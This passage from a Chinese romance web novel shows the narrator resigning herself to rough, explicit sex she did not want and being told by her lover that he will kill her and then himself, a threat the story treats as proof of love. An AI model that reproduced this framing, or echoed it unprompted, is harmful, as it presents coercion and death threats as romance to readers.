“既然你把我吵醒了,那我们就来做些催眠的事情吧。”
不由分说的将我从被子里拽出来压在身下,男人气息渐粗,冷冰冰的说。
“唔……”
我其实是很想拒绝的,因为现如今我实在是没有任何和他睡觉的立场。经过了这么多,我们俩之前仅剩的那点温情脉脉也早已消耗殆尽,余下的只有无法抒发的恐惧与恨意。
试问一个心里装满恨的男人和一个只剩下害怕的女人要如何才能重新交缠在一起?
可是云征月却不管这些,脱我衣服的动作依然快速而熟练。我有理由相信,他只是想惩罚我。通过凌虐我的肉体来让我感受到自己在他面前是多么的下贱与卑微……
第45章 重温旧梦1
“怎么,给我一张视死如归的脸?和我睡有这么令你难以忍受么,嗯”
见我认命的睁着双眼面无表情的任他搓揉,云征月亲了我一会儿便停了下来。用双臂撑着自己悬在我的上方,黑眸若有所思的望着我。
“我只是很难过而已,云征月,我可怜你,更可怜我自己……”
话没说半句,眼眶已经酸的不行。等到泪水终于顺着眼角滑落下来,我已经变成了浓重的大鼻音。
“可怜我?”
“哈,你说的没错,我是很可怜。”
宽厚的大掌不甚温柔的抹去我的泪水,男人将头埋在我的颈间闷闷的说。
“云征月,我们为什么变成现在这个样子了呢……”
脑子里走马灯一般回放着当初相遇的种种细节。有那么一瞬间,我开始相信自己曾经是对他有过好感的。我也不是铁石心肠,也不是没有被他的好打动过。可是为什么、为什么我们就是没有在一起呢。
“也许是因为──”
温热的嘴唇贴着我的颈子来回缱绻的摩擦,忽然间,有什么湿湿的东西滴落在我的肩膀上,而后顺着那蜿蜒的曲线一路滑下,惹得我心倏地一痛。
他,哭了么。
“好感不能替代一切吧。”
就像是懂得读心术一般,男人带着同样的鼻音轻轻的说。
“……”
“海棠,你不够爱我,或者说你从没有爱上过我。沅唯九只是你拒绝我的一个借口,有了他,你还是接受了我大哥,哪怕用尽各种七拼八凑的理由。而你拒绝我,却只需要一句话──”
“再好没有用,你心里没有我……”
“……”
我泣不成声……
“不要哭,你不爱我不要紧,我已经接受这个事实了。”
从我颈间抬起头来,我看到他复杂的笑容。
“我们扯平了,因为我现在也不爱你了。我云征月不会爱上一个不爱我的女人,我只会恨……”
“休想将我轻轻松松的甩掉,休想用几滴眼泪就骗的我放过你。我得不到你,别人也休想得到。实在不行,我还可以亲手杀了你,再自杀,你下了地狱再去跟那些男人欢好吧。”
“……”
直到现在我才发现,原来云征月是一个这样敢爱敢恨的人。都说爱的反面就是恨,爱之深才恨之切。如此看来,我有些明白他究竟有多爱我了。
原来这世界上,曾有一个男人爱我至死……
“抱着我!”
在我怔忪的片刻,他突然粗鲁的命令道。
听话的将双臂环上男人的脖子,男人雄健的体魄与我的柔弱紧紧相贴。我望着他,他也望着我。
眼神对上的那一刻,男人的嘴唇重重的落了下来,极尽缠绵的吻着我。我的唇瓣被他疯狂的碾压着,像是被切碎的肉一般传来灼的痛。
“抱着我……抱着我!”
没有旖旎的情话,没有深情的呼唤。情到浓处时云征月用力的插了我的身体,立刻就不停的抽动起来。
我被他发狠的撞击着,下体又热又疼。他不停的叫我,却只是让我抱着他,再抱着他……
本以为,这种近乎自虐的交欢会一直持续到精疲力尽。然而,就在这时,屋外却传来一声我们都再熟悉不过的清啸声。
那啸声坦荡而凛冽,煞气逼人的穿破宁静的夜空震动着整个总督府里所有人的耳膜。
“沅唯九……!”
正做到激情之处,云征月蓦地就停了下来。一张布满湿汗的俊脸狰狞的望向窗外,按着我肩膀的大手生怕我跑了一般紧紧的扣住我的锁骨。
“好痛……”
男人的指甲几乎陷入我的肉,我尖叫一声,搞不清楚现在是什么状况。身上的男人却狠狠的瞪我一眼而后放开了我,随便抓件衣服披上就提剑冲了出去。
“你去哪!”
感谢我的良心未泯,让我在这种时刻想的不是快点追过去见日思夜想的九叔。而是担心云征月这样跑出去,简直就是送死。
等我终于穿好衣服追上去的时候,这偏僻的别院已经被无数拿着火把的士兵重重包围了。
只见柳砚站在士兵的中?央,显然被保护的很好。冷峻的脸上挂着面具一般阴森又无情的假笑,眼神却透着鹰隼捕猎般势在必得的饥渴。
我顺着他的目光望去,尽管早就有心理准备。但是在眼神对上那正坐在树上,一身疏离却又放荡不羁的用羊皮酒壶喝酒的黑衣男子的那一刻,我的心就像是被人捏碎了一般,又是酸又是痛……
九叔,你真的来了。
“沅唯九,你胆子真是不小,居然敢孤身闯我海防总督府。”
冷冷的开了口,柳砚皮笑肉不笑的说。
“我的人呢。”
面对柳砚的挑衅,沅唯九表现的十分淡定。只见他仰着脖子,爱惜的咽下最后一口美酒。这才依依不舍的擦擦薄唇,吐出四个字。就好像自己面对的不是皇城里最骁勇善战的士兵,而是一堆毫无威胁力的石头。
“你的人?你指哪一个──”
眼角的余光早就瞥见追随云征月奔出来的我。柳砚看了看我,又看了看如临大敌正虎视眈眈望着沅唯九的云征月。很快便意味深长的笑了,傲气的脸上露出耐人寻味的神色。
“季煞,在哪里?”
完全无视对方的奸,沅唯九看都没朝我看一眼,仿佛他本来就不认识我一般。
哈,我早该料到。
季叔你看,我说过的,他想救的从来就不是我──
“你看什么?”
我抿唇释然的笑而不语,在一旁的云征月却因此而皱紧了眉。
“你的男人不要你了,伤心么?”
面对他恶毒的奚落,我只是笑笑,伸手默默的拉住了他的衣袖。
“别鲁莽,你不是他的对手。”
“放开!”
我的好心显然刺伤了男人的自尊心。一把甩开我的牵引,云征月上前一步对着沅唯九大喝──
“姓沅的,滚下来!你想要的人自己来夺。”
这个傻瓜!
“原来是你,一万两啊。”
简单的一句嘲讽,令云征月立刻回想起当初被俘的惨状。只见他气的浑身发抖,握着利剑就要往上冲。却被柳砚眼疾手快的命手下拦住,不悦的斥了一声。
“月儿,你想找死么?”
“大表哥!”
见自己的哥哥也不信任自己,云征月恨恨的大叫一声却还是被士兵阻挡住了。
“自不量力。”
沅唯九与柳砚同时出声,竟是意外的默契。
“聂风在哪里?”
处理完云征月,柳砚收起了方才的轻佻,目光一凛,凶狠的问道。
“你说那个头发半长不长的小子?”
沅唯九收好羊皮酒壶,风筝一般轻飘飘的从树上跳了下来。
“死了。”
“……”
我吃惊的长大了嘴巴,柳砚则攥起了拳头。
“好,算你狠……”
月光在这一刻湮没在乌云中,自然蜷曲的黑发遮住了黑衣男人的半张脸,他正徐徐的朝我所在的方向走来。
我看不清沅唯九的表情,但是我一辈子也不会忘记他接下来说的那句话。
“诶?你也在这啊,好久不见。”
他说。